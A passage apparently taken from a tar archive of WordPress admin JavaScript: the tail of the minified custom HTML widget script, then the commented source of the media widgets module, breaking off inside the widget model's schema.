t,i=this,n="";1===e.length?n=s.l10n.errorNotice.singular.replace("%d","1"):1<e.length&&(n=s.l10n.errorNotice.plural.replace("%d",String(e.length))),i.fields.content[0].setCustomValidity&&i.fields.content[0].setCustomValidity(n),wp.customize&&wp.customize.has(i.customizeSettingId)?((t=wp.customize(i.customizeSettingId)).notifications.remove("htmlhint_error"),0!==e.length&&t.notifications.add("htmlhint_error",new wp.customize.Notification("htmlhint_error",{message:n,type:"error"}))):0!==e.length?((t=a('<div class="inline notice notice-error notice-alt"></div>')).append(a("<p></p>",{text:n})),i.errorNoticeContainer.empty(),i.errorNoticeContainer.append(t),i.errorNoticeContainer.slideDown("fast"),wp.a11y.speak(n)):i.errorNoticeContainer.slideUp("fast")},initializeEditor:function(){var e,t=this;s.codeEditorSettings.disabled||(e=_.extend({},s.codeEditorSettings,{onTabPrevious:function(){t.fields.title.focus()},onTabNext:function(){t.syncContainer.add(t.syncContainer.parent().find(".widget-position, .widget-control-actions")).find(":tabbable").first().focus()},onChangeLintingErrors:function(e){t.currentErrorAnnotations=e},onUpdateErrorNotice:function(e){t.saveButton.toggleClass("validation-blocked disabled",0<e.length),t.updateErrorNotice(e)}}),t.editor=wp.codeEditor.initialize(t.fields.content,e),a(t.editor.codemirror.display.lineDiv).attr({role:"textbox","aria-multiline":"true","aria-labelledby":t.fields.content[0].id+"-label","aria-describedby":"editor-keyboard-trap-help-1 editor-keyboard-trap-help-2 editor-keyboard-trap-help-3 editor-keyboard-trap-help-4"}),a("#"+t.fields.content[0].id+"-label").on("click",function(){t.editor.codemirror.focus()}),t.fields.content.on("change",function(){this.value!==t.editor.codemirror.getValue()&&t.editor.codemirror.setValue(this.value)}),t.editor.codemirror.on("change",function(){var e=t.editor.codemirror.getValue();e!==t.fields.content.val()&&t.fields.content.val(e).trigger("change")}),t.editor.codemirror.on("blur",function(){t.contentUpdateBypassed&&t.syncContainer.find(".sync-input.content").trigger("change")}),wp.customize&&t.editor.codemirror.on("keydown",function(e,t){27===t.keyCode&&t.stopPropagation()}))}}),s.widgetControls={},s.handleWidgetAdded=function(e,t){var i,n,o,d=t.find("> .widget-inside > .form, > .widget-inside > form"),r=d.find("> .id_base").val();-1===s.idBases.indexOf(r)||(r=d.find(".widget-id").val(),s.widgetControls[r])||(d=a("<div></div>"),(o=t.find(".widget-content:first")).before(d),i=new s.CustomHtmlWidgetControl({el:d,syncContainer:o}),s.widgetControls[r]=i,(n=function(){(wp.customize?t.parent().hasClass("expanded"):t.hasClass("open"))?i.initializeEditor():setTimeout(n,50)})())},s.setupAccessibleMode=function(){var e,t=a(".editwidget > form");0!==t.length&&(e=t.find(".id_base").val(),-1!==s.idBases.indexOf(e))&&(e=a("<div></div>"),(t=t.find("> .widget-inside")).before(e),new s.CustomHtmlWidgetControl({el:e,syncContainer:t}).initializeEditor())},s.handleWidgetUpdated=function(e,t){var t=t.find("> .widget-inside > .form, > .widget-inside > form"),i=t.find("> .id_base").val();-1!==s.idBases.indexOf(i)&&(i=t.find("> .widget-id").val(),t=s.widgetControls[i])&&t.updateFields()},s.init=function(e){var t=a(document);_.extend(s.codeEditorSettings,e),t.on("widget-added",s.handleWidgetAdded),t.on("widget-synced widget-updated",s.handleWidgetUpdated),a(function(){"widgets"===window.pagenow&&(a(".widgets-holder-wrap:not(#available-widgets)").find("div.widget").one("click.toggle-widget-expanded",function(){var e=a(this);s.handleWidgetAdded(new jQuery.Event("widget-added"),e)}),"complete"===document.readyState?s.setupAccessibleMode():a(window).on("load",function(){s.setupAccessibleMode()}))})},s}(jQuery);widgets/media-widgets.js000064400000123543150276633110011307 0ustar00/**
 * @output wp-admin/js/widgets/media-widgets.js
 */

/* eslint consistent-this: [ "error", "control" ] */

/**
 * @namespace wp.mediaWidgets
 * @memberOf  wp
 */
wp.mediaWidgets = ( function( $ ) {
	'use strict';

	var component = {};

	/**
	 * Widget control (view) constructors, mapping widget id_base to subclass of MediaWidgetControl.
	 *
	 * Media widgets register themselves by assigning subclasses of MediaWidgetControl onto this object by widget ID base.
	 *
	 * @memberOf wp.mediaWidgets
	 *
	 * @type {Object.<string, wp.mediaWidgets.MediaWidgetModel>}
	 */
	component.controlConstructors = {};

	/**
	 * Widget model constructors, mapping widget id_base to subclass of MediaWidgetModel.
	 *
	 * Media widgets register themselves by assigning subclasses of MediaWidgetControl onto this object by widget ID base.
	 *
	 * @memberOf wp.mediaWidgets
	 *
	 * @type {Object.<string, wp.mediaWidgets.MediaWidgetModel>}
	 */
	component.modelConstructors = {};

	component.PersistentDisplaySettingsLibrary = wp.media.controller.Library.extend(/** @lends wp.mediaWidgets.PersistentDisplaySettingsLibrary.prototype */{

		/**
		 * Library which persists the customized display settings across selections.
		 *
		 * @constructs wp.mediaWidgets.PersistentDisplaySettingsLibrary
		 * @augments   wp.media.controller.Library
		 *
		 * @param {Object} options - Options.
		 *
		 * @return {void}
		 */
		initialize: function initialize( options ) {
			_.bindAll( this, 'handleDisplaySettingChange' );
			wp.media.controller.Library.prototype.initialize.call( this, options );
		},

		/**
		 * Sync changes to the current display settings back into the current customized.
		 *
		 * @param {Backbone.Model} displaySettings - Modified display settings.
		 * @return {void}
		 */
		handleDisplaySettingChange: function handleDisplaySettingChange( displaySettings ) {
			this.get( 'selectedDisplaySettings' ).set( displaySettings.attributes );
		},

		/**
		 * Get the display settings model.
		 *
		 * Model returned is updated with the current customized display settings,
		 * and an event listener is added so that changes made to the settings
		 * will sync back into the model storing the session's customized display
		 * settings.
		 *
		 * @param {Backbone.Model} model - Display settings model.
		 * @return {Backbone.Model} Display settings model.
		 */
		display: function getDisplaySettingsModel( model ) {
			var display, selectedDisplaySettings = this.get( 'selectedDisplaySettings' );
			display = wp.media.controller.Library.prototype.display.call( this, model );

			display.off( 'change', this.handleDisplaySettingChange ); // Prevent duplicated event handlers.
			display.set( selectedDisplaySettings.attributes );
			if ( 'custom' === selectedDisplaySettings.get( 'link_type' ) ) {
				display.linkUrl = selectedDisplaySettings.get( 'link_url' );
			}
			display.on( 'change', this.handleDisplaySettingChange );
			return display;
		}
	});

	/**
	 * Extended view for managing the embed UI.
	 *
	 * @class    wp.mediaWidgets.MediaEmbedView
	 * @augments wp.media.view.Embed
	 */
	component.MediaEmbedView = wp.media.view.Embed.extend(/** @lends wp.mediaWidgets.MediaEmbedView.prototype */{

		/**
		 * Initialize.
		 *
		 * @since 4.9.0
		 *
		 * @param {Object} options - Options.
		 * @return {void}
		 */
		initialize: function( options ) {
			var view = this, embedController; // eslint-disable-line consistent-this
			wp.media.view.Embed.prototype.initialize.call( view, options );
			if ( 'image' !== view.controller.options.mimeType ) {
				embedController = view.controller.states.get( 'embed' );
				embedController.off( 'scan', embedController.scanImage, embedController );
			}
		},

		/**
		 * Refresh embed view.
		 *
		 * Forked override of {wp.media.view.Embed#refresh()} to suppress irrelevant "link text" field.
		 *
		 * @return {void}
		 */
		refresh: function refresh() {
			/**
			 * @class wp.mediaWidgets~Constructor
			 */
			var Constructor;

			if ( 'image' === this.controller.options.mimeType ) {
				Constructor = wp.media.view.EmbedImage;
			} else {

				// This should be eliminated once #40450 lands of when this is merged into core.
				Constructor = wp.media.view.EmbedLink.extend(/** @lends wp.mediaWidgets~Constructor.prototype */{

					/**
					 * Set the disabled state on the Add to Widget button.
					 *
					 * @param {boolean} disabled - Disabled.
					 * @return {void}
					 */
					setAddToWidgetButtonDisabled: function setAddToWidgetButtonDisabled( disabled ) {
						this.views.parent.views.parent.views.get( '.media-frame-toolbar' )[0].$el.find( '.media-button-select' ).prop( 'disabled', disabled );
					},

					/**
					 * Set or clear an error notice.
					 *
					 * @param {string} notice - Notice.
					 * @return {void}
					 */
					setErrorNotice: function setErrorNotice( notice ) {
						var embedLinkView = this, noticeContainer; // eslint-disable-line consistent-this

						noticeContainer = embedLinkView.views.parent.$el.find( '> .notice:first-child' );
						if ( ! notice ) {
							if ( noticeContainer.length ) {
								noticeContainer.slideUp( 'fast' );
							}
						} else {
							if ( ! noticeContainer.length ) {
								noticeContainer = $( '<div class="media-widget-embed-notice notice notice-error notice-alt"></div>' );
								noticeContainer.hide();
								embedLinkView.views.parent.$el.prepend( noticeContainer );
							}
							noticeContainer.empty();
							noticeContainer.append( $( '<p>', {
								html: notice
							}));
							noticeContainer.slideDown( 'fast' );
						}
					},

					/**
					 * Update oEmbed.
					 *
					 * @since 4.9.0
					 *
					 * @return {void}
					 */
					updateoEmbed: function() {
						var embedLinkView = this, url; // eslint-disable-line consistent-this

						url = embedLinkView.model.get( 'url' );

						// Abort if the URL field was emptied out.
						if ( ! url ) {
							embedLinkView.setErrorNotice( '' );
							embedLinkView.setAddToWidgetButtonDisabled( true );
							return;
						}

						if ( ! url.match( /^(http|https):\/\/.+\// ) ) {
							embedLinkView.controller.$el.find( '#embed-url-field' ).addClass( 'invalid' );
							embedLinkView.setAddToWidgetButtonDisabled( true );
						}

						wp.media.view.EmbedLink.prototype.updateoEmbed.call( embedLinkView );
					},

					/**
					 * Fetch media.
					 *
					 * @return {void}
					 */
					fetch: function() {
						var embedLinkView = this, fetchSuccess, matches, fileExt, urlParser, url, re, youTubeEmbedMatch; // eslint-disable-line consistent-this
						url = embedLinkView.model.get( 'url' );

						if ( embedLinkView.dfd && 'pending' === embedLinkView.dfd.state() ) {
							embedLinkView.dfd.abort();
						}

						fetchSuccess = function( response ) {
							embedLinkView.renderoEmbed({
								data: {
									body: response
								}
							});

							embedLinkView.controller.$el.find( '#embed-url-field' ).removeClass( 'invalid' );
							embedLinkView.setErrorNotice( '' );
							embedLinkView.setAddToWidgetButtonDisabled( false );
						};

						urlParser = document.createElement( 'a' );
						urlParser.href = url;
						matches = urlParser.pathname.toLowerCase().match( /\.(\w+)$/ );
						if ( matches ) {
							fileExt = matches[1];
							if ( ! wp.media.view.settings.embedMimes[ fileExt ] ) {
								embedLinkView.renderFail();
							} else if ( 0 !== wp.media.view.settings.embedMimes[ fileExt ].indexOf( embedLinkView.controller.options.mimeType ) ) {
								embedLinkView.renderFail();
							} else {
								fetchSuccess( '<!--success-->' );
							}
							return;
						}

						// Support YouTube embed links.
						re = /https?:\/\/www\.youtube\.com\/embed\/([^/]+)/;
						youTubeEmbedMatch = re.exec( url );
						if ( youTubeEmbedMatch ) {
							url = 'https://www.youtube.com/watch?v=' + youTubeEmbedMatch[ 1 ];
							// silently change url to proper oembed-able version.
							embedLinkView.model.attributes.url = url;
						}

						embedLinkView.dfd = wp.apiRequest({
							url: wp.media.view.settings.oEmbedProxyUrl,
							data: {
								url: url,
								maxwidth: embedLinkView.model.get( 'width' ),
								maxheight: embedLinkView.model.get( 'height' ),
								discover: false
							},
							type: 'GET',
							dataType: 'json',
							context: embedLinkView
						});

						embedLinkView.dfd.done( function( response ) {
							if ( embedLinkView.controller.options.mimeType !== response.type ) {
								embedLinkView.renderFail();
								return;
							}
							fetchSuccess( response.html );
						});
						embedLinkView.dfd.fail( _.bind( embedLinkView.renderFail, embedLinkView ) );
					},

					/**
					 * Handle render failure.
					 *
					 * Overrides the {EmbedLink#renderFail()} method to prevent showing the "Link Text" field.
					 * The element is getting display:none in the stylesheet, but the underlying method uses
					 * uses {jQuery.fn.show()} which adds an inline style. This avoids the need for !important.
					 *
					 * @return {void}
					 */
					renderFail: function renderFail() {
						var embedLinkView = this; // eslint-disable-line consistent-this
						embedLinkView.controller.$el.find( '#embed-url-field' ).addClass( 'invalid' );
						embedLinkView.setErrorNotice( embedLinkView.controller.options.invalidEmbedTypeError || 'ERROR' );
						embedLinkView.setAddToWidgetButtonDisabled( true );
					}
				});
			}

			this.settings( new Constructor({
				controller: this.controller,
				model:      this.model.props,
				priority:   40
			}));
		}
	});

	/**
	 * Custom media frame for selecting uploaded media or providing media by URL.
	 *
	 * @class    wp.mediaWidgets.MediaFrameSelect
	 * @augments wp.media.view.MediaFrame.Post
	 */
	component.MediaFrameSelect = wp.media.view.MediaFrame.Post.extend(/** @lends wp.mediaWidgets.MediaFrameSelect.prototype */{

		/**
		 * Create the default states.
		 *
		 * @return {void}
		 */
		createStates: function createStates() {
			var mime = this.options.mimeType, specificMimes = [];
			_.each( wp.media.view.settings.embedMimes, function( embedMime ) {
				if ( 0 === embedMime.indexOf( mime ) ) {
					specificMimes.push( embedMime );
				}
			});
			if ( specificMimes.length > 0 ) {
				mime = specificMimes;
			}

			this.states.add([

				// Main states.
				new component.PersistentDisplaySettingsLibrary({
					id:         'insert',
					title:      this.options.title,
					selection:  this.options.selection,
					priority:   20,
					toolbar:    'main-insert',
					filterable: 'dates',
					library:    wp.media.query({
						type: mime
					}),
					multiple:   false,
					editable:   true,

					selectedDisplaySettings: this.options.selectedDisplaySettings,
					displaySettings: _.isUndefined( this.options.showDisplaySettings ) ? true : this.options.showDisplaySettings,
					displayUserSettings: false // We use the display settings from the current/default widget instance props.
				}),

				new wp.media.controller.EditImage({ model: this.options.editImage }),

				// Embed states.
				new wp.media.controller.Embed({
					metadata: this.options.metadata,
					type: 'image' === this.options.mimeType ? 'image' : 'link',
					invalidEmbedTypeError: this.options.invalidEmbedTypeError
				})
			]);
		},

		/**
		 * Main insert toolbar.
		 *
		 * Forked override of {wp.media.view.MediaFrame.Post#mainInsertToolbar()} to override text.
		 *
		 * @param {wp.Backbone.View} view - Toolbar view.
		 * @this {wp.media.controller.Library}
		 * @return {void}
		 */
		mainInsertToolbar: function mainInsertToolbar( view ) {
			var controller = this; // eslint-disable-line consistent-this
			view.set( 'insert', {
				style:    'primary',
				priority: 80,
				text:     controller.options.text, // The whole reason for the fork.
				requires: { selection: true },

				/**
				 * Handle click.
				 *
				 * @ignore
				 *
				 * @fires wp.media.controller.State#insert()
				 * @return {void}
				 */
				click: function onClick() {
					var state = controller.state(),
						selection = state.get( 'selection' );

					controller.close();
					state.trigger( 'insert', selection ).reset();
				}
			});
		},

		/**
		 * Main embed toolbar.
		 *
		 * Forked override of {wp.media.view.MediaFrame.Post#mainEmbedToolbar()} to override text.
		 *
		 * @param {wp.Backbone.View} toolbar - Toolbar view.
		 * @this {wp.media.controller.Library}
		 * @return {void}
		 */
		mainEmbedToolbar: function mainEmbedToolbar( toolbar ) {
			toolbar.view = new wp.media.view.Toolbar.Embed({
				controller: this,
				text: this.options.text,
				event: 'insert'
			});
		},

		/**
		 * Embed content.
		 *
		 * Forked override of {wp.media.view.MediaFrame.Post#embedContent()} to suppress irrelevant "link text" field.
		 *
		 * @return {void}
		 */
		embedContent: function embedContent() {
			var view = new component.MediaEmbedView({
				controller: this,
				model:      this.state()
			}).render();

			this.content.set( view );
		}
	});

	component.MediaWidgetControl = Backbone.View.extend(/** @lends wp.mediaWidgets.MediaWidgetControl.prototype */{

		/**
		 * Translation strings.
		 *
		 * The mapping of translation strings is handled by media widget subclasses,
		 * exported from PHP to JS such as is done in WP_Widget_Media_Image::enqueue_admin_scripts().
		 *
		 * @type {Object}
		 */
		l10n: {
			add_to_widget: '{{add_to_widget}}',
			add_media: '{{add_media}}'
		},

		/**
		 * Widget ID base.
		 *
		 * This may be defined by the subclass. It may be exported from PHP to JS
		 * such as is done in WP_Widget_Media_Image::enqueue_admin_scripts(). If not,
		 * it will attempt to be discovered by looking to see if this control
		 * instance extends each member of component.controlConstructors, and if
		 * it does extend one, will use the key as the id_base.
		 *
		 * @type {string}
		 */
		id_base: '',

		/**
		 * Mime type.
		 *
		 * This must be defined by the subclass. It may be exported from PHP to JS
		 * such as is done in WP_Widget_Media_Image::enqueue_admin_scripts().
		 *
		 * @type {string}
		 */
		mime_type: '',

		/**
		 * View events.
		 *
		 * @type {Object}
		 */
		events: {
			'click .notice-missing-attachment a': 'handleMediaLibraryLinkClick',
			'click .select-media': 'selectMedia',
			'click .placeholder': 'selectMedia',
			'click .edit-media': 'editMedia'
		},

		/**
		 * Show display settings.
		 *
		 * @type {boolean}
		 */
		showDisplaySettings: true,

		/**
		 * Media Widget Control.
		 *
		 * @constructs wp.mediaWidgets.MediaWidgetControl
		 * @augments   Backbone.View
		 * @abstract
		 *
		 * @param {Object}         options - Options.
		 * @param {Backbone.Model} options.model - Model.
		 * @param {jQuery}         options.el - Control field container element.
		 * @param {jQuery}         options.syncContainer - Container element where fields are synced for the server.
		 *
		 * @return {void}
		 */
		initialize: function initialize( options ) {
			var control = this;

			Backbone.View.prototype.initialize.call( control, options );

			if ( ! ( control.model instanceof component.MediaWidgetModel ) ) {
				throw new Error( 'Missing options.model' );
			}
			if ( ! options.el ) {
				throw new Error( 'Missing options.el' );
			}
			if ( ! options.syncContainer ) {
				throw new Error( 'Missing options.syncContainer' );
			}

			control.syncContainer = options.syncContainer;

			control.$el.addClass( 'media-widget-control' );

			// Allow methods to be passed in with control context preserved.
			_.bindAll( control, 'syncModelToInputs', 'render', 'updateSelectedAttachment', 'renderPreview' );

			if ( ! control.id_base ) {
				_.find( component.controlConstructors, function( Constructor, idBase ) {
					if ( control instanceof Constructor ) {
						control.id_base = idBase;
						return true;
					}
					return false;
				});
				if ( ! control.id_base ) {
					throw new Error( 'Missing id_base.' );
				}
			}

			// Track attributes needed to renderPreview in it's own model.
			control.previewTemplateProps = new Backbone.Model( control.mapModelToPreviewTemplateProps() );

			// Re-render the preview when the attachment changes.
			control.selectedAttachment = new wp.media.model.Attachment();
			control.renderPreview = _.debounce( control.renderPreview );
			control.listenTo( control.previewTemplateProps, 'change', control.renderPreview );

			// Make sure a copy of the selected attachment is always fetched.
			control.model.on( 'change:attachment_id', control.updateSelectedAttachment );
			control.model.on( 'change:url', control.updateSelectedAttachment );
			control.updateSelectedAttachment();

			/*
			 * Sync the widget instance model attributes onto the hidden inputs that widgets currently use to store the state.
			 * In the future, when widgets are JS-driven, the underlying widget instance data should be exposed as a model
			 * from the start, without having to sync with hidden fields. See <https://core.trac.wordpress.org/ticket/33507>.
			 */
			control.listenTo( control.model, 'change', control.syncModelToInputs );
			control.listenTo( control.model, 'change', control.syncModelToPreviewProps );
			control.listenTo( control.model, 'change', control.render );

			// Update the title.
			control.$el.on( 'input change', '.title', function updateTitle() {
				control.model.set({
					title: $( this ).val().trim()
				});
			});

			// Update link_url attribute.
			control.$el.on( 'input change', '.link', function updateLinkUrl() {
				var linkUrl = $( this ).val().trim(), linkType = 'custom';
				if ( control.selectedAttachment.get( 'linkUrl' ) === linkUrl || control.selectedAttachment.get( 'link' ) === linkUrl ) {
					linkType = 'post';
				} else if ( control.selectedAttachment.get( 'url' ) === linkUrl ) {
					linkType = 'file';
				}
				control.model.set( {
					link_url: linkUrl,
					link_type: linkType
				});

				// Update display settings for the next time the user opens to select from the media library.
				control.displaySettings.set( {
					link: linkType,
					linkUrl: linkUrl
				});
			});

			/*
			 * Copy current display settings from the widget model to serve as basis
			 * of customized display settings for the current media frame session.
			 * Changes to display settings will be synced into this model, and
			 * when a new selection is made, the settings from this will be synced
			 * into that AttachmentDisplay's model to persist the setting changes.
			 */
			control.displaySettings = new Backbone.Model( _.pick(
				control.mapModelToMediaFrameProps(
					_.extend( control.model.defaults(), control.model.toJSON() )
				),
				_.keys( wp.media.view.settings.defaultProps )
			) );
		},

		/**
		 * Update the selected attachment if necessary.
		 *
		 * @return {void}
		 */
		updateSelectedAttachment: function updateSelectedAttachment() {
			var control = this, attachment;

			if ( 0 === control.model.get( 'attachment_id' ) ) {
				control.selectedAttachment.clear();
				control.model.set( 'error', false );
			} else if ( control.model.get( 'attachment_id' ) !== control.selectedAttachment.get( 'id' ) ) {
				attachment = new wp.media.model.Attachment({
					id: control.model.get( 'attachment_id' )
				});
				attachment.fetch()
					.done( function done() {
						control.model.set( 'error', false );
						control.selectedAttachment.set( attachment.toJSON() );
					})
					.fail( function fail() {
						control.model.set( 'error', 'missing_attachment' );
					});
			}
		},

		/**
		 * Sync the model attributes to the hidden inputs, and update previewTemplateProps.
		 *
		 * @return {void}
		 */
		syncModelToPreviewProps: function syncModelToPreviewProps() {
			var control = this;
			control.previewTemplateProps.set( control.mapModelToPreviewTemplateProps() );
		},

		/**
		 * Sync the model attributes to the hidden inputs, and update previewTemplateProps.
		 *
		 * @return {void}
		 */
		syncModelToInputs: function syncModelToInputs() {
			var control = this;
			control.syncContainer.find( '.media-widget-instance-property' ).each( function() {
				var input = $( this ), value, propertyName;
				propertyName = input.data( 'property' );
				value = control.model.get( propertyName );
				if ( _.isUndefined( value ) ) {
					return;
				}

				if ( 'array' === control.model.schema[ propertyName ].type && _.isArray( value ) ) {
					value = value.join( ',' );
				} else if ( 'boolean' === control.model.schema[ propertyName ].type ) {
					value = value ? '1' : ''; // Because in PHP, strval( true ) === '1' && strval( false ) === ''.
				} else {
					value = String( value );
				}

				if ( input.val() !== value ) {
					input.val( value );
					input.trigger( 'change' );
				}
			});
		},

		/**
		 * Get template.
		 *
		 * @return {Function} Template.
		 */
		template: function template() {
			var control = this;
			if ( ! $( '#tmpl-widget-media-' + control.id_base + '-control' ).length ) {
				throw new Error( 'Missing widget control template for ' + control.id_base );
			}
			return wp.template( 'widget-media-' + control.id_base + '-control' );
		},

		/**
		 * Render template.
		 *
		 * @return {void}
		 */
		render: function render() {
			var control = this, titleInput;

			if ( ! control.templateRendered ) {
				control.$el.html( control.template()( control.model.toJSON() ) );
				control.renderPreview(); // Hereafter it will re-render when control.selectedAttachment changes.
				control.templateRendered = true;
			}

			titleInput = control.$el.find( '.title' );
			if ( ! titleInput.is( document.activeElement ) ) {
				titleInput.val( control.model.get( 'title' ) );
			}

			control.$el.toggleClass( 'selected', control.isSelected() );
		},

		/**
		 * Render media preview.
		 *
		 * @abstract
		 * @return {void}
		 */
		renderPreview: function renderPreview() {
			throw new Error( 'renderPreview must be implemented' );
		},

		/**
		 * Whether a media item is selected.
		 *
		 * @return {boolean} Whether selected and no error.
		 */
		isSelected: function isSelected() {
			var control = this;

			if ( control.model.get( 'error' ) ) {
				return false;
			}

			return Boolean( control.model.get( 'attachment_id' ) || control.model.get( 'url' ) );
		},

		/**
		 * Handle click on link to Media Library to open modal, such as the link that appears when in the missing attachment error notice.
		 *
		 * @param {jQuery.Event} event - Event.
		 * @return {void}
		 */
		handleMediaLibraryLinkClick: function handleMediaLibraryLinkClick( event ) {
			var control = this;
			event.preventDefault();
			control.selectMedia();
		},

		/**
		 * Open the media select frame to chose an item.
		 *
		 * @return {void}
		 */
		selectMedia: function selectMedia() {
			var control = this, selection, mediaFrame, defaultSync, mediaFrameProps, selectionModels = [];

			if ( control.isSelected() && 0 !== control.model.get( 'attachment_id' ) ) {
				selectionModels.push( control.selectedAttachment );
			}

			selection = new wp.media.model.Selection( selectionModels, { multiple: false } );

			mediaFrameProps = control.mapModelToMediaFrameProps( control.model.toJSON() );
			if ( mediaFrameProps.size ) {
				control.displaySettings.set( 'size', mediaFrameProps.size );
			}

			mediaFrame = new component.MediaFrameSelect({
				title: control.l10n.add_media,
				frame: 'post',
				text: control.l10n.add_to_widget,
				selection: selection,
				mimeType: control.mime_type,
				selectedDisplaySettings: control.displaySettings,
				showDisplaySettings: control.showDisplaySettings,
				metadata: mediaFrameProps,
				state: control.isSelected() && 0 === control.model.get( 'attachment_id' ) ? 'embed' : 'insert',
				invalidEmbedTypeError: control.l10n.unsupported_file_type
			});
			wp.media.frame = mediaFrame; // See wp.media().

			// Handle selection of a media item.
			mediaFrame.on( 'insert', function onInsert() {
				var attachment = {}, state = mediaFrame.state();

				// Update cached attachment object to avoid having to re-fetch. This also triggers re-rendering of preview.
				if ( 'embed' === state.get( 'id' ) ) {
					_.extend( attachment, { id: 0 }, state.props.toJSON() );
				} else {
					_.extend( attachment, state.get( 'selection' ).first().toJSON() );
				}

				control.selectedAttachment.set( attachment );
				control.model.set( 'error', false );

				// Update widget instance.
				control.model.set( control.getModelPropsFromMediaFrame( mediaFrame ) );
			});

			// Disable syncing of attachment changes back to server (except for deletions). See <https://core.trac.wordpress.org/ticket/40403>.
			defaultSync = wp.media.model.Attachment.prototype.sync;
			wp.media.model.Attachment.prototype.sync = function( method ) {
				if ( 'delete' === method ) {
					return defaultSync.apply( this, arguments );
				} else {
					return $.Deferred().rejectWith( this ).promise();
				}
			};
			mediaFrame.on( 'close', function onClose() {
				wp.media.model.Attachment.prototype.sync = defaultSync;
			});

			mediaFrame.$el.addClass( 'media-widget' );
			mediaFrame.open();

			// Clear the selected attachment when it is deleted in the media select frame.
			if ( selection ) {
				selection.on( 'destroy', function onDestroy( attachment ) {
					if ( control.model.get( 'attachment_id' ) === attachment.get( 'id' ) ) {
						control.model.set({
							attachment_id: 0,
							url: ''
						});
					}
				});
			}

			/*
			 * Make sure focus is set inside of modal so that hitting Esc will close
			 * the modal and not inadvertently cause the widget to collapse in the customizer.
			 */
			mediaFrame.$el.find( '.media-frame-menu .media-menu-item.active' ).focus();
		},

		/**
		 * Get the instance props from the media selection frame.
		 *
		 * @param {wp.media.view.MediaFrame.Select} mediaFrame - Select frame.
		 * @return {Object} Props.
		 */
		getModelPropsFromMediaFrame: function getModelPropsFromMediaFrame( mediaFrame ) {
			var control = this, state, mediaFrameProps, modelProps;

			state = mediaFrame.state();
			if ( 'insert' === state.get( 'id' ) ) {
				mediaFrameProps = state.get( 'selection' ).first().toJSON();
				mediaFrameProps.postUrl = mediaFrameProps.link;

				if ( control.showDisplaySettings ) {
					_.extend(
						mediaFrameProps,
						mediaFrame.content.get( '.attachments-browser' ).sidebar.get( 'display' ).model.toJSON()
					);
				}
				if ( mediaFrameProps.sizes && mediaFrameProps.size && mediaFrameProps.sizes[ mediaFrameProps.size ] ) {
					mediaFrameProps.url = mediaFrameProps.sizes[ mediaFrameProps.size ].url;
				}
			} else if ( 'embed' === state.get( 'id' ) ) {
				mediaFrameProps = _.extend(
					state.props.toJSON(),
					{ attachment_id: 0 }, // Because some media frames use `attachment_id` not `id`.
					control.model.getEmbedResetProps()
				);
			} else {
				throw new Error( 'Unexpected state: ' + state.get( 'id' ) );
			}

			if ( mediaFrameProps.id ) {
				mediaFrameProps.attachment_id = mediaFrameProps.id;
			}

			modelProps = control.mapMediaToModelProps( mediaFrameProps );

			// Clear the extension prop so sources will be reset for video and audio media.
			_.each( wp.media.view.settings.embedExts, function( ext ) {
				if ( ext in control.model.schema && modelProps.url !== modelProps[ ext ] ) {
					modelProps[ ext ] = '';
				}
			});

			return modelProps;
		},

		/**
		 * Map media frame props to model props.
		 *
		 * @param {Object} mediaFrameProps - Media frame props.
		 * @return {Object} Model props.
		 */
		mapMediaToModelProps: function mapMediaToModelProps( mediaFrameProps ) {
			var control = this, mediaFramePropToModelPropMap = {}, modelProps = {}, extension;
			_.each( control.model.schema, function( fieldSchema, modelProp ) {

				// Ignore widget title attribute.
				if ( 'title' === modelProp ) {
					return;
				}
				mediaFramePropToModelPropMap[ fieldSchema.media_prop || modelProp ] = modelProp;
			});

			_.each( mediaFrameProps, function( value, mediaProp ) {
				var propName = mediaFramePropToModelPropMap[ mediaProp ] || mediaProp;
				if ( control.model.schema[ propName ] ) {
					modelProps[ propName ] = value;
				}
			});

			if ( 'custom' === mediaFrameProps.size ) {
				modelProps.width = mediaFrameProps.customWidth;
				modelProps.height = mediaFrameProps.customHeight;
			}

			if ( 'post' === mediaFrameProps.link ) {
				modelProps.link_url = mediaFrameProps.postUrl || mediaFrameProps.linkUrl;
			} else if ( 'file' === mediaFrameProps.link ) {
				modelProps.link_url = mediaFrameProps.url;
			}

			// Because some media frames use `id` instead of `attachment_id`.
			if ( ! mediaFrameProps.attachment_id && mediaFrameProps.id ) {
				modelProps.attachment_id = mediaFrameProps.id;
			}

			if ( mediaFrameProps.url ) {
				extension = mediaFrameProps.url.replace( /#.*$/, '' ).replace( /\?.*$/, '' ).split( '.' ).pop().toLowerCase();
				if ( extension in control.model.schema ) {
					modelProps[ extension ] = mediaFrameProps.url;
				}
			}

			// Always omit the titles derived from mediaFrameProps.
			return _.omit( modelProps, 'title' );
		},

		/**
		 * Map model props to media frame props.
		 *
		 * @param {Object} modelProps - Model props.
		 * @return {Object} Media frame props.
		 */
		mapModelToMediaFrameProps: function mapModelToMediaFrameProps( modelProps ) {
			var control = this, mediaFrameProps = {};

			_.each( modelProps, function( value, modelProp ) {
				var fieldSchema = control.model.schema[ modelProp ] || {};
				mediaFrameProps[ fieldSchema.media_prop || modelProp ] = value;
			});

			// Some media frames use attachment_id.
			mediaFrameProps.attachment_id = mediaFrameProps.id;

			if ( 'custom' === mediaFrameProps.size ) {
				mediaFrameProps.customWidth = control.model.get( 'width' );
				mediaFrameProps.customHeight = control.model.get( 'height' );
			}

			return mediaFrameProps;
		},

		/**
		 * Map model props to previewTemplateProps.
		 *
		 * @return {Object} Preview Template Props.
		 */
		mapModelToPreviewTemplateProps: function mapModelToPreviewTemplateProps() {
			var control = this, previewTemplateProps = {};
			_.each( control.model.schema, function( value, prop ) {
				if ( ! value.hasOwnProperty( 'should_preview_update' ) || value.should_preview_update ) {
					previewTemplateProps[ prop ] = control.model.get( prop );
				}
			});

			// Templates need to be aware of the error.
			previewTemplateProps.error = control.model.get( 'error' );
			return previewTemplateProps;
		},

		/**
		 * Open the media frame to modify the selected item.
		 *
		 * @abstract
		 * @return {void}
		 */
		editMedia: function editMedia() {
			throw new Error( 'editMedia not implemented' );
		}
	});

	/**
	 * Media widget model.
	 *
	 * @class    wp.mediaWidgets.MediaWidgetModel
	 * @augments Backbone.Model
	 */
	component.MediaWidgetModel = Backbone.Model.extend(/** @lends wp.mediaWidgets.MediaWidgetModel.prototype */{

		/**
		 * Id attribute.
		 *
		 * @type {string}
		 */
		idAttribute: 'widget_id',

		/**
		 * Instance schema.
		 *
		 * This adheres to JSON Schema and subclasses should have their schema
		 * exported from PHP to JS such as is done in WP_Widget_Media_Image::enqueue_admin_scripts().
		 *
		 * @type {Object.<string, Object>}
		 */
		schema: {
			title: {
				type: 'string',
